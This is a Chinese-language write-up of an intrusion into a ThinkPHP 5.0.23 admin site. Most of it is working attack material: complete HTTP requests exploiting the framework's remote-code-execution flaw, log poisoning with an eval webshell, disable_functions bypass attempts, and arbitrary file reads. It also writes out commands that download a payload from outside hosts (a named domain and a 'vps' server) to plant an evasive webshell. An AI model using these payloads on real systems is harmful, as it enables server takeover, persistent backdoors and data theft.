# 資訊收集
由于網站 www.a.com/admin,通路立即跳轉到www.a.com/admin/publicer/login
發現是TP,5.0.23,在漏洞的版本範圍内,嘗試使用:
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
_method=__construct&filter[]=system&method=GET&get[]=id
發現都不行,而且開啟了pathinfo, 明明在版本範圍内,payload打不成功怎麼辦
檢視驗證碼,繼續使用index.php?s=captcha 檢視發現通路成功,change method,post,發現執行system,傳回500,var_dump發現可以傳回,說明代碼能夠執行成功
POST /?s=captcha HTTP/1.1
Host: vulnhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=1&get[]=2
檢視phpinfo:
POST /?s=captcha HTTP/1.1
Host: vulnhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
_method=__construct&method=get&filter[]=phpinfo&server[REQUEST_METHOD]=1&get[]=4
檢視相關的資訊後,disable_functions:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
目錄知道的資訊如下:
thinkphp 5.0.23
/www/wwwroot/vulhost/public/index.php
禁用函數
php 7.2.18,沒辦法assert
open_basedir /www/wwwroot/vulhostcn/:/tmp/:/proc/
首先想到的是,更新其他函數嘗試,以及一些bypass繞過disable_functions,但是payload目前隻能傳入一個參數,并且還限制了很多函數.
嘗試寫檔案,也不具備傳遞2個參數,使用session來shell
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=/tmp/sess_asd
_method=__construct&method=get&filter[]=think\Session::set&get[]=<?php x?>
發現不成功,可能session位置不對,檢視phpinfo:
發現吧session寫到了redis裡,那嘗試redis 來getshell試試:
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=curl_exec(curl_init("dict://127.0.0.1:6379/info"));
失敗告終,嘗試其他辦法
發現readfile是可以的,先讀取index.php确定檔案路徑
_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhost/public/index.php
通過讀取index.php
确定路徑,讀取log
_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhostcn/data/runtime/log/202004/04.log
_method=__construct&method=get&filter[]=call_user_func&server[REQUEST_METHOD]=<?php eval($_POST['c']);?>
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=phpinfo();
檔案包含成功,此漏洞詳情可 檢視:https://xz.aliyun.com/t/6106
至此就基本上搞定了
傳免殺shell:
file_put_contents("/www/wwwroot/vulnstcn/debug.php",file_get_contents("http://scan.javasec.cn/xxxxx"))
檢視目錄檔案:
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=print_r(scandir("/www/wwwroot/vulhostcn/public/"));
bypass disable_functions,參考:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=file_put_contents("/www/wwwroot/vulhostcn/public/themes/admin_themes/3.php",file_get_contents("http://vps:65534/exploit.php"));
fpm方式利用:
fpm沒有使用tcp的方式,而是使用了unix的socket
$sock = stream_socket_client('unix:///tmp/php-fcgi.sock',$errno,$errstr);
redis後 自己在shell裡上傳個so 實作的指令執行等等,不過都是一些方向上的思路,可以以後嘗試。
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